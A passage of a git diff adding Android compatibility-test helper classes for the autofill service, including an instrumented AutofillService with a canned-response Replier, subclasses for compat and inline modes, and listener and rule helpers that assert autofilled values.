+    public static List<Event> getFillEvents(int expectedSize) throws Exception {
+        final List<Event> events = getFillEventHistory(expectedSize).getEvents();
+        // Validation check
+        if (expectedSize > 0 && events == null || events.size() != expectedSize) {
+            throw new IllegalStateException("INTERNAL ERROR: events should have " + expectedSize
+                    + ", but it is: " + events);
+        }
+        return events;
+    }
+
+    /**
+     * Gets the {@link FillEventHistory}, waiting until it has the expected size.
+     */
+    public static FillEventHistory getFillEventHistory(int expectedSize) throws Exception {
+        final InstrumentedAutoFillService service = peekInstance();
+
+        if (expectedSize == 0) {
+            // Need to always sleep as there is no condition / callback to be used to wait until
+            // expected number of events is set.
+            SystemClock.sleep(FILL_EVENTS_TIMEOUT.ms());
+            final FillEventHistory history = service.getFillEventHistory();
+            assertThat(history.getEvents()).isNull();
+            return history;
+        }
+
+        return FILL_EVENTS_TIMEOUT.run("getFillEvents(" + expectedSize + ")", () -> {
+            final FillEventHistory history = service.getFillEventHistory();
+            if (history == null) {
+                return null;
+            }
+            final List<Event> events = history.getEvents();
+            if (events != null) {
+                if (events.size() != expectedSize) {
+                    Log.v(TAG, "Didn't get " + expectedSize + " events yet: " + events);
+                    return null;
+                }
+            } else {
+                Log.v(TAG, "Events is still null (expecting " + expectedSize + ")");
+                return null;
+            }
+            return history;
+        });
+    }
+
+    /**
+     * Asserts there is no {@link FillEventHistory}.
+     */
+    public static void assertNoFillEventHistory() {
+        // Need to always sleep as there is no condition / callback to be used to wait until
+        // expected number of events is set.
+        SystemClock.sleep(FILL_EVENTS_TIMEOUT.ms());
+        assertThat(peekInstance().getFillEventHistory()).isNull();
+
+    }
+
+    /**
+     * Gets the service label associated with the current instance.
+     */
+    public static String getServiceLabel() {
+        return sServiceLabel;
+    }
+
+    private void handleConnected(boolean connected) {
+        Log.v(TAG, "handleConnected(): from " + sConnected.get() + " to " + connected);
+        sConnected.set(connected);
+    }
+
+    @Override
+    public void onConnected() {
+        Log.v(TAG, "onConnected");
+        if (mConnected && FAIL_ON_INVALID_CONNECTION_STATE) {
+            dumpSelf();
+            sReplier.addException(new IllegalStateException("onConnected() called again"));
+        }
+        mConnected = true;
+        mHandler.post(() -> handleConnected(true));
+    }
+
+    @Override
+    public void onDisconnected() {
+        Log.v(TAG, "onDisconnected");
+        if (!mConnected && FAIL_ON_INVALID_CONNECTION_STATE) {
+            dumpSelf();
+            sReplier.addException(
+                    new IllegalStateException("onDisconnected() called when disconnected"));
+        }
+        mConnected = false;
+        mHandler.post(() -> handleConnected(false));
+    }
+
+    @Override
+    public void onFillRequest(android.service.autofill.FillRequest request,
+            CancellationSignal cancellationSignal, FillCallback callback) {
+        final ComponentName component = getLastActivityComponent(request.getFillContexts());
+        if (DUMP_FILL_REQUESTS) {
+            dumpStructure("onFillRequest()", request.getFillContexts());
+        } else {
+            Log.i(TAG, "onFillRequest() for " + component.toShortString());
+        }
+        if (!mConnected && FAIL_ON_INVALID_CONNECTION_STATE) {
+            dumpSelf();
+            sReplier.addException(
+                    new IllegalStateException("onFillRequest() called when disconnected"));
+        }
+
+        if (!TestNameUtils.isRunningTest()) {
+            Log.e(TAG, "onFillRequest(" + component + ") called after tests finished");
+            return;
+        }
+        if (!fromSamePackage(component))  {
+            Log.w(TAG, "Ignoring onFillRequest() from different package: " + component);
+            return;
+        }
+        mHandler.post(
+                () -> sReplier.onFillRequest(request.getFillContexts(), request.getClientState(),
+                        cancellationSignal, callback, request.getFlags(),
+                        request.getInlineSuggestionsRequest(), request.getId()));
+    }
+
+    @Override
+    public void onSaveRequest(android.service.autofill.SaveRequest request,
+            SaveCallback callback) {
+        if (!mConnected && FAIL_ON_INVALID_CONNECTION_STATE) {
+            dumpSelf();
+            sReplier.addException(
+                    new IllegalStateException("onSaveRequest() called when disconnected"));
+        }
+        mHandler.post(()->handleSaveRequest(request, callback));
+    }
+
+    private void handleSaveRequest(android.service.autofill.SaveRequest request,
+            SaveCallback callback) {
+        final ComponentName component = getLastActivityComponent(request.getFillContexts());
+        if (!TestNameUtils.isRunningTest()) {
+            Log.e(TAG, "onSaveRequest(" + component + ") called after tests finished");
+            return;
+        }
+        if (!fromSamePackage(component)) {
+            Log.w(TAG, "Ignoring onSaveRequest() from different package: " + component);
+            return;
+        }
+        if (DUMP_SAVE_REQUESTS) {
+            dumpStructure("onSaveRequest()", request.getFillContexts());
+        } else {
+            Log.i(TAG, "onSaveRequest() for " + component.toShortString());
+        }
+        mHandler.post(() -> sReplier.onSaveRequest(request.getFillContexts(),
+                request.getClientState(), callback,
+                request.getDatasetIds()));
+    }
+
+    public static boolean isConnected() {
+        return sConnected.get();
+    }
+
+    private boolean fromSamePackage(ComponentName component) {
+        final String actualPackage = component.getPackageName();
+        if (!actualPackage.equals(getPackageName())
+                && !actualPackage.equals(sReplier.mAcceptedPackageName)) {
+            Log.w(TAG, "Got request from package " + actualPackage);
+            return false;
+        }
+        return true;
+    }
+
+    private ComponentName getLastActivityComponent(List<FillContext> contexts) {
+        return contexts.get(contexts.size() - 1).getStructure().getActivityComponent();
+    }
+
+    private void dumpSelf()  {
+        try {
+            try (StringWriter sw = new StringWriter(); PrintWriter pw = new PrintWriter(sw)) {
+                dump(null, pw, null);
+                pw.flush();
+                final String dump = sw.toString();
+                Log.e(TAG, "dumpSelf(): " + dump);
+            }
+        } catch (IOException e) {
+            Log.e(TAG, "I don't always fail to dump, but when I do, I dump the failure", e);
+        }
+    }
+
+    @Override
+    protected void dump(FileDescriptor fd, PrintWriter pw, String[] args) {
+        pw.print("sConnected: "); pw.println(sConnected);
+        pw.print("mConnected: "); pw.println(mConnected);
+        pw.print("sInstance: "); pw.println(sInstance);
+        pw.println("sReplier: "); sReplier.dump(pw);
+    }
+
+    /**
+     * Waits until {@link #onConnected()} is called, or fails if it times out.
+     *
+     * <p>This method is useful on tests that explicitly verifies the connection, but should be
+     * avoided in other tests, as it adds extra time to the test execution (and flakiness in cases
+     * where the service might have being disconnected already; for example, if the fill request
+     * was replied with a {@code null} response) - if a text needs to block until the service
+     * receives a callback, it should use {@link Replier#getNextFillRequest()} instead.
+     */
+    public static void waitUntilConnected() throws Exception {
+        waitConnectionState(CONNECTION_TIMEOUT, true);
+    }
+
+    /**
+     * Waits until {@link #onDisconnected()} is called, or fails if it times out.
+     *
+     * <p>This method is useful on tests that explicitly verifies the connection, but should be
+     * avoided in other tests, as it adds extra time to the test execution.
+     */
+    public static void waitUntilDisconnected() throws Exception {
+        waitConnectionState(IDLE_UNBIND_TIMEOUT, false);
+    }
+
+    private static void waitConnectionState(Timeout timeout, boolean expected) throws Exception {
+        timeout.run("wait for connected=" + expected,  () -> {
+            return isConnected() == expected ? Boolean.TRUE : null;
+        });
+    }
+
+    /**
+     * Gets the {@link Replier} singleton.
+     */
+    public static Replier getReplier() {
+        return sReplier;
+    }
+
+    public static void resetStaticState() {
+        sInstance.set(null);
+        sConnected.set(false);
+        sServiceLabel = SERVICE_CLASS;
+    }
+
+    /**
+     * POJO representation of the contents of a
+     * {@link AutofillService#onFillRequest(android.service.autofill.FillRequest,
+     * CancellationSignal, FillCallback)} that can be asserted at the end of a test case.
+     */
+    public static final class FillRequest {
+        public final AssistStructure structure;
+        public final List<FillContext> contexts;
+        public final Bundle data;
+        public final CancellationSignal cancellationSignal;
+        public final FillCallback callback;
+        public final int flags;
+        public final InlineSuggestionsRequest inlineRequest;
+
+        private FillRequest(List<FillContext> contexts, Bundle data,
+                CancellationSignal cancellationSignal, FillCallback callback, int flags,
+                InlineSuggestionsRequest inlineRequest) {
+            this.contexts = contexts;
+            this.data = data;
+            this.cancellationSignal = cancellationSignal;
+            this.callback = callback;
+            this.flags = flags;
+            this.structure = contexts.get(contexts.size() - 1).getStructure();
+            this.inlineRequest = inlineRequest;
+        }
+
+        @Override
+        public String toString() {
+            return "FillRequest[activity=" + getActivityName(contexts) + ", flags=" + flags
+                    + ", bundle=" + data + ", structure=" + Helper.toString(structure) + "]";
+        }
+    }
+
+    /**
+     * POJO representation of the contents of a
+     * {@link AutofillService#onSaveRequest(android.service.autofill.SaveRequest, SaveCallback)}
+     * that can be asserted at the end of a test case.
+     */
+    public static final class SaveRequest {
+        public final List<FillContext> contexts;
+        public final AssistStructure structure;
+        public final Bundle data;
+        public final SaveCallback callback;
+        public final List<String> datasetIds;
+
+        private SaveRequest(List<FillContext> contexts, Bundle data, SaveCallback callback,
+                List<String> datasetIds) {
+            if (contexts != null && contexts.size() > 0) {
+                structure = contexts.get(contexts.size() - 1).getStructure();
+            } else {
+                structure = null;
+            }
+            this.contexts = contexts;
+            this.data = data;
+            this.callback = callback;
+            this.datasetIds = datasetIds;
+        }
+
+        @Override
+        public String toString() {
+            return "SaveRequest:" + getActivityName(contexts);
+        }
+    }
+
+    /**
+     * Object used to answer a
+     * {@link AutofillService#onFillRequest(android.service.autofill.FillRequest,
+     * CancellationSignal, FillCallback)}
+     * on behalf of a unit test method.
+     */
+    public static final class Replier {
+
+        private final BlockingQueue<CannedFillResponse> mResponses = new LinkedBlockingQueue<>();
+        private final BlockingQueue<FillRequest> mFillRequests = new LinkedBlockingQueue<>();
+        private final BlockingQueue<SaveRequest> mSaveRequests = new LinkedBlockingQueue<>();
+
+        private List<Throwable> mExceptions;
+        private IntentSender mOnSaveIntentSender;
+        private String mAcceptedPackageName;
+
+        private Handler mHandler;
+
+        private boolean mReportUnhandledFillRequest = true;
+        private boolean mReportUnhandledSaveRequest = true;
+
+        private Replier() {
+        }
+
+        private IdMode mIdMode = IdMode.RESOURCE_ID;
+
+        public void setIdMode(IdMode mode) {
+            this.mIdMode = mode;
+        }
+
+        public void acceptRequestsFromPackage(String packageName) {
+            mAcceptedPackageName = packageName;
+        }
+
+        /**
+         * Gets the exceptions thrown asynchronously, if any.
+         */
+        @Nullable
+        public List<Throwable> getExceptions() {
+            return mExceptions;
+        }
+
+        private void addException(@Nullable Throwable e) {
+            if (e == null) return;
+
+            if (mExceptions == null) {
+                mExceptions = new ArrayList<>();
+            }
+            mExceptions.add(e);
+        }
+
+        /**
+         * Sets the expectation for the next {@code onFillRequest} as {@link FillResponse} with just
+         * one {@link Dataset}.
+         */
+        public Replier addResponse(CannedDataset dataset) {
+            return addResponse(new CannedFillResponse.Builder()
+                    .addDataset(dataset)
+                    .build());
+        }
+
+        /**
+         * Sets the expectation for the next {@code onFillRequest}.
+         */
+        public Replier addResponse(CannedFillResponse response) {
+            if (response == null) {
+                throw new IllegalArgumentException("Cannot be null - use NO_RESPONSE instead");
+            }
+            mResponses.add(response);
+            return this;
+        }
+
+        /**
+         * Sets the {@link IntentSender} that is passed to
+         * {@link SaveCallback#onSuccess(IntentSender)}.
+         */
+        public Replier setOnSave(IntentSender intentSender) {
+            mOnSaveIntentSender = intentSender;
+            return this;
+        }
+
+        /**
+         * Gets the next fill request, in the order received.
+         */
+        public FillRequest getNextFillRequest() {
+            FillRequest request;
+            try {
+                request = mFillRequests.poll(FILL_TIMEOUT.ms(), TimeUnit.MILLISECONDS);
+            } catch (InterruptedException e) {
+                Thread.currentThread().interrupt();
+                throw new IllegalStateException("Interrupted", e);
+            }
+            if (request == null) {
+                throw new RetryableException(FILL_TIMEOUT, "onFillRequest() not called");
+            }
+            return request;
+        }
+
+        /**
+         * Asserts that {@link #onFillRequest(List, Bundle, CancellationSignal, FillCallback, int)}
+         * was not called.
+         *
+         * <p>Should only be called in cases where it's not expected to be called, as it will
+         * sleep for a few ms.
+         */
+        public void assertOnFillRequestNotCalled() {
+            SystemClock.sleep(FILL_TIMEOUT.getMaxValue());
+            assertThat(mFillRequests).isEmpty();
+        }
+
+        /**
+         * Asserts all {@link AutofillService#onFillRequest(
+         * android.service.autofill.FillRequest,  CancellationSignal, FillCallback) fill requests}
+         * received by the service were properly {@link #getNextFillRequest() handled} by the test
+         * case.
+         */
+        public void assertNoUnhandledFillRequests() {
+            if (mFillRequests.isEmpty()) return; // Good job, test case!
+
+            if (!mReportUnhandledFillRequest) {
+                // Just log, so it's not thrown again on @After if already thrown on main body
+                Log.d(TAG, "assertNoUnhandledFillRequests(): already reported, "
+                        + "but logging just in case: " + mFillRequests);
+                return;
+            }
+
+            mReportUnhandledFillRequest = false;
+            throw new AssertionError(mFillRequests.size() + " unhandled fill requests: "
+                    + mFillRequests);
+        }
+
+        /**
+         * Gets the current number of unhandled requests.
+         */
+        public int getNumberUnhandledFillRequests() {
+            return mFillRequests.size();
+        }
+
+        /**
+         * Gets the next save request, in the order received.
+         *
+         * <p>Typically called at the end of a test case, to assert the initial request.
+         */
+        public SaveRequest getNextSaveRequest() {
+            SaveRequest request;
+            try {
+                request = mSaveRequests.poll(SAVE_TIMEOUT.ms(), TimeUnit.MILLISECONDS);
+            } catch (InterruptedException e) {
+                Thread.currentThread().interrupt();
+                throw new IllegalStateException("Interrupted", e);
+            }
+            if (request == null) {
+                throw new RetryableException(SAVE_TIMEOUT, "onSaveRequest() not called");
+            }
+            return request;
+        }
+
+        /**
+         * Asserts all
+         * {@link AutofillService#onSaveRequest(android.service.autofill.SaveRequest, SaveCallback)
+         * save requests} received by the service were properly
+         * {@link #getNextFillRequest() handled} by the test case.
+         */
+        public void assertNoUnhandledSaveRequests() {
+            if (mSaveRequests.isEmpty()) return; // Good job, test case!
+
+            if (!mReportUnhandledSaveRequest) {
+                // Just log, so it's not thrown again on @After if already thrown on main body
+                Log.d(TAG, "assertNoUnhandledSaveRequests(): already reported, "
+                        + "but logging just in case: " + mSaveRequests);
+                return;
+            }
+
+            mReportUnhandledSaveRequest = false;
+            throw new AssertionError(mSaveRequests.size() + " unhandled save requests: "
+                    + mSaveRequests);
+        }
+
+        public void setHandler(Handler handler) {
+            mHandler = handler;
+        }
+
+        /**
+         * Resets its internal state.
+         */
+        public void reset() {
+            mResponses.clear();
+            mFillRequests.clear();
+            mSaveRequests.clear();
+            mExceptions = null;
+            mOnSaveIntentSender = null;
+            mAcceptedPackageName = null;
+            mReportUnhandledFillRequest = true;
+            mReportUnhandledSaveRequest = true;
+        }
+
+        private void onFillRequest(List<FillContext> contexts, Bundle data,
+                CancellationSignal cancellationSignal, FillCallback callback, int flags,
+                InlineSuggestionsRequest inlineRequest, int requestId) {
+            try {
+                CannedFillResponse response = null;
+                try {
+                    response = mResponses.poll(CONNECTION_TIMEOUT.ms(), TimeUnit.MILLISECONDS);
+                } catch (InterruptedException e) {
+                    Log.w(TAG, "Interrupted getting CannedResponse: " + e);
+                    Thread.currentThread().interrupt();
+                    addException(e);
+                    return;
+                }
+                if (response == null) {
+                    final String activityName = getActivityName(contexts);
+                    final String msg = "onFillRequest() for activity " + activityName
+                            + " received when no canned response was set.";
+                    dumpStructure(msg, contexts);
+                    return;
+                }
+                if (response.getResponseType() == NULL) {
+                    Log.d(TAG, "onFillRequest(): replying with null");
+                    callback.onSuccess(null);
+                    return;
+                }
+
+                if (response.getResponseType() == TIMEOUT) {
+                    Log.d(TAG, "onFillRequest(): not replying at all");
+                    return;
+                }
+
+                if (response.getResponseType() == FAILURE) {
+                    Log.d(TAG, "onFillRequest(): replying with failure");
+                    callback.onFailure("D'OH!");
+                    return;
+                }
+
+                if (response.getResponseType() == ResponseType.NO_MORE) {
+                    Log.w(TAG, "onFillRequest(): replying with null when not expecting more");
+                    addException(new IllegalStateException("got unexpected request"));
+                    callback.onSuccess(null);
+                    return;
+                }
+
+                final String failureMessage = response.getFailureMessage();
+                if (failureMessage != null) {
+                    Log.v(TAG, "onFillRequest(): failureMessage = " + failureMessage);
+                    callback.onFailure(failureMessage);
+                    return;
+                }
+
+                final FillResponse fillResponse;
+
+                switch (mIdMode) {
+                    case RESOURCE_ID:
+                        fillResponse = response.asFillResponse(contexts,
+                                (id) -> Helper.findNodeByResourceId(contexts, id));
+                        break;
+                    case HTML_NAME:
+                        fillResponse = response.asFillResponse(contexts,
+                                (name) -> Helper.findNodeByHtmlName(contexts, name));
+                        break;
+                    case HTML_NAME_OR_RESOURCE_ID:
+                        fillResponse = response.asFillResponse(contexts,
+                                (id) -> Helper.findNodeByHtmlNameOrResourceId(contexts, id));
+                        break;
+                    default:
+                        throw new IllegalStateException("Unknown id mode: " + mIdMode);
+                }
+
+                if (response.getResponseType() == ResponseType.DELAY) {
+                    mHandler.postDelayed(() -> {
+                        Log.v(TAG,
+                                "onFillRequest(" + requestId + "): fillResponse = " + fillResponse);
+                        callback.onSuccess(fillResponse);
+                        // Add a fill request to let test case know response was sent.
+                        Helper.offer(mFillRequests,
+                                new FillRequest(contexts, data, cancellationSignal, callback,
+                                        flags, inlineRequest), CONNECTION_TIMEOUT.ms());
+                    }, RESPONSE_DELAY_MS);
+                } else {
+                    Log.v(TAG, "onFillRequest(" + requestId + "): fillResponse = " + fillResponse);
+                    callback.onSuccess(fillResponse);
+                }
+            } catch (Throwable t) {
+                addException(t);
+            } finally {
+                Helper.offer(mFillRequests, new FillRequest(contexts, data, cancellationSignal,
+                        callback, flags, inlineRequest), CONNECTION_TIMEOUT.ms());
+            }
+        }
+
+        private void onSaveRequest(List<FillContext> contexts, Bundle data, SaveCallback callback,
+                List<String> datasetIds) {
+            Log.d(TAG, "onSaveRequest(): sender=" + mOnSaveIntentSender);
+
+            try {
+                if (mOnSaveIntentSender != null) {
+                    callback.onSuccess(mOnSaveIntentSender);
+                } else {
+                    callback.onSuccess();
+                }
+            } finally {
+                Helper.offer(mSaveRequests, new SaveRequest(contexts, data, callback, datasetIds),
+                        CONNECTION_TIMEOUT.ms());
+            }
+        }
+
+        private void dump(PrintWriter pw) {
+            pw.print("mResponses: "); pw.println(mResponses);
+            pw.print("mFillRequests: "); pw.println(mFillRequests);
+            pw.print("mSaveRequests: "); pw.println(mSaveRequests);
+            pw.print("mExceptions: "); pw.println(mExceptions);
+            pw.print("mOnSaveIntentSender: "); pw.println(mOnSaveIntentSender);
+            pw.print("mAcceptedPackageName: "); pw.println(mAcceptedPackageName);
+            pw.print("mAcceptedPackageName: "); pw.println(mAcceptedPackageName);
+            pw.print("mReportUnhandledFillRequest: "); pw.println(mReportUnhandledSaveRequest);
+            pw.print("mIdMode: "); pw.println(mIdMode);
+        }
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/testcore/InstrumentedAutoFillServiceCompatMode.java b/tests/autofillservice/src/android/autofillservice/cts/testcore/InstrumentedAutoFillServiceCompatMode.java
new file mode 100644
index 0000000..fc35412
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/testcore/InstrumentedAutoFillServiceCompatMode.java
@@ -0,0 +1,37 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.testcore;
+
+import android.service.autofill.AutofillService;
+
+/**
+ * Implementation of {@link AutofillService} using A11Y compat mode used in the tests.
+ */
+public class InstrumentedAutoFillServiceCompatMode extends InstrumentedAutoFillService {
+
+    @SuppressWarnings("hiding")
+    public static final String SERVICE_PACKAGE = "android.autofillservice.cts";
+    @SuppressWarnings("hiding")
+    public static final String SERVICE_CLASS = "testcore.InstrumentedAutoFillServiceCompatMode";
+    @SuppressWarnings("hiding")
+    public static final String SERVICE_NAME = SERVICE_PACKAGE + "/." + SERVICE_CLASS;
+
+    public InstrumentedAutoFillServiceCompatMode() {
+        sInstance.set(this);
+        sServiceLabel = SERVICE_CLASS;
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/testcore/InstrumentedAutoFillServiceInlineEnabled.java b/tests/autofillservice/src/android/autofillservice/cts/testcore/InstrumentedAutoFillServiceInlineEnabled.java
new file mode 100644
index 0000000..a29c01b
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/testcore/InstrumentedAutoFillServiceInlineEnabled.java
@@ -0,0 +1,36 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.testcore;
+
+import android.service.autofill.AutofillService;
+
+/**
+ * Implementation of {@link AutofillService} that has inline suggestions support enabled.
+ */
+public class InstrumentedAutoFillServiceInlineEnabled extends InstrumentedAutoFillService {
+    @SuppressWarnings("hiding")
+    static final String SERVICE_PACKAGE = "android.autofillservice.cts";
+    @SuppressWarnings("hiding")
+    static final String SERVICE_CLASS = "InstrumentedAutoFillServiceInlineEnabled";
+    @SuppressWarnings("hiding")
+    public static final String SERVICE_NAME = SERVICE_PACKAGE + "/.testcore." + SERVICE_CLASS;
+
+    public InstrumentedAutoFillServiceInlineEnabled() {
+        sInstance.set(this);
+        sServiceLabel = SERVICE_CLASS;
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/testcore/MaxVisibleDatasetsRule.java b/tests/autofillservice/src/android/autofillservice/cts/testcore/MaxVisibleDatasetsRule.java
new file mode 100644
index 0000000..b1b4327
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/testcore/MaxVisibleDatasetsRule.java
@@ -0,0 +1,63 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.testcore;
+
+import org.junit.rules.TestRule;
+import org.junit.runner.Description;
+import org.junit.runners.model.Statement;
+
+/**
+ * Custom JUnit4 rule that improves autofill-related environment by:
+ *
+ * <ol>
+ *   <li>Setting max_visible_datasets before and after test.
+ * </ol>
+ */
+public final class MaxVisibleDatasetsRule implements TestRule {
+
+    private static final String TAG = MaxVisibleDatasetsRule.class.getSimpleName();
+
+    private final int mMaxNumber;
+
+    /**
+     * Creates a MaxVisibleDatasetsRule with given datasets values.
+     *
+     * @param maxNumber The desired max_visible_datasets value for a test,
+     * after the test it will be replaced by the original value
+     */
+    public MaxVisibleDatasetsRule(int maxNumber) {
+        mMaxNumber = maxNumber;
+    }
+
+
+    @Override
+    public Statement apply(Statement base, Description description) {
+        return new Statement() {
+
+            @Override
+            public void evaluate() throws Throwable {
+                final int original = Helper.getMaxVisibleDatasets();
+                Helper.setMaxVisibleDatasets(mMaxNumber);
+                try {
+                    base.evaluate();
+                } finally {
+                    Helper.setMaxVisibleDatasets(original);
+                }
+            }
+        };
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/testcore/MultipleTimesRadioGroupListener.java b/tests/autofillservice/src/android/autofillservice/cts/testcore/MultipleTimesRadioGroupListener.java
new file mode 100644
index 0000000..a8b4317
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/testcore/MultipleTimesRadioGroupListener.java
@@ -0,0 +1,59 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.testcore;
+
+import static android.autofillservice.cts.testcore.Timeouts.FILL_TIMEOUT;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.widget.RadioGroup;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Custom {@link android.widget.RadioGroup.OnCheckedChangeListener} used to assert an
+ * {@link RadioGroup} was auto-filled properly.
+ */
+public final class MultipleTimesRadioGroupListener implements RadioGroup.OnCheckedChangeListener {
+    private final String mName;
+    private final CountDownLatch mLatch;
+    private final RadioGroup mRadioGroup;
+    private final int mExpected;
+
+    public MultipleTimesRadioGroupListener(String name, int times, RadioGroup radioGroup,
+            int expectedAutoFilledValue) {
+        mName = name;
+        mRadioGroup = radioGroup;
+        mExpected = expectedAutoFilledValue;
+        mLatch = new CountDownLatch(times);
+    }
+
+    @Override
+    public void onCheckedChanged(RadioGroup group, int checkedId) {
+        mLatch.countDown();
+    }
+
+    public void assertAutoFilled() throws Exception {
+        final boolean set = mLatch.await(FILL_TIMEOUT.ms(), TimeUnit.MILLISECONDS);
+        assertWithMessage("Timeout (%s ms) on RadioGroup %s", FILL_TIMEOUT.ms(), mName)
+            .that(set).isTrue();
+        final int actual = mRadioGroup.getAutofillValue().getListValue();
+        assertWithMessage("Wrong auto-fill value on RadioGroup %s", mName)
+            .that(actual).isEqualTo(mExpected);
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/testcore/MultipleTimesTextWatcher.java b/tests/autofillservice/src/android/autofillservice/cts/testcore/MultipleTimesTextWatcher.java
new file mode 100644
index 0000000..9e59634
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/testcore/MultipleTimesTextWatcher.java
@@ -0,0 +1,76 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.testcore;
+
+import static android.autofillservice.cts.testcore.Timeouts.FILL_TIMEOUT;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.text.Editable;
+import android.text.TextWatcher;
+import android.util.Log;
+import android.widget.EditText;
+
+import com.android.compatibility.common.util.RetryableException;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Custom {@link TextWatcher} used to assert a {@link EditText} was set multiple times.
+ */
+public class MultipleTimesTextWatcher implements TextWatcher {
+    private static final String TAG = "MultipleTimesTextWatcher";
+
+    private final String mName;
+    private final CountDownLatch mLatch;
+    private final EditText mEditText;
+    private final CharSequence mExpected;
+
+    public MultipleTimesTextWatcher(String name, int times, EditText editText,
+            CharSequence expectedAutofillValue) {
+        this.mName = name;
+        this.mEditText = editText;
+        this.mExpected = expectedAutofillValue;
+        this.mLatch = new CountDownLatch(times);
+    }
+
+    @Override
+    public void beforeTextChanged(CharSequence s, int start, int count, int after) {
+    }
+
+    @Override
+    public void onTextChanged(CharSequence s, int start, int before, int count) {
+        Log.v(TAG, "onTextChanged(" + mLatch.getCount() + "): " + mName + " = " + s);
+        mLatch.countDown();
+    }
+
+    @Override
+    public void afterTextChanged(Editable s) {
+    }
+
+    public void assertAutoFilled() throws Exception {
+        final boolean set = mLatch.await(FILL_TIMEOUT.ms(), TimeUnit.MILLISECONDS);
+        if (!set) {
+            throw new RetryableException(FILL_TIMEOUT, "Timeout (%s ms) on EditText %s",
+                    FILL_TIMEOUT.ms(), mName);
+        }
+        final String actual = mEditText.getText().toString();
+        assertWithMessage("Wrong auto-fill value on EditText %s", mName)
+                .that(actual).isEqualTo(mExpected.toString());
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/testcore/MultipleTimesTimeListener.java b/tests/autofillservice/src/android/autofillservice/cts/testcore/MultipleTimesTimeListener.java
new file mode 100644
index 0000000..10d87e1
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/testcore/MultipleTimesTimeListener.java
@@ -0,0 +1,61 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.testcore;
+
+import static android.autofillservice.cts.testcore.Timeouts.FILL_TIMEOUT;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.widget.TimePicker;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Custom {@OnDateChangedListener} used to assert a {@link TimePicker} was auto-filled properly.
+ */
+public final class MultipleTimesTimeListener implements TimePicker.OnTimeChangedListener {
+    private final String name;
+    private final CountDownLatch latch;
+    private final TimePicker timePicker;
+    private final int expectedHour;
+    private final int expectedMinute;
+
+    public MultipleTimesTimeListener(String name, int times, TimePicker timePicker,
+            int expectedHour, int expectedMinute) {
+        this.name = name;
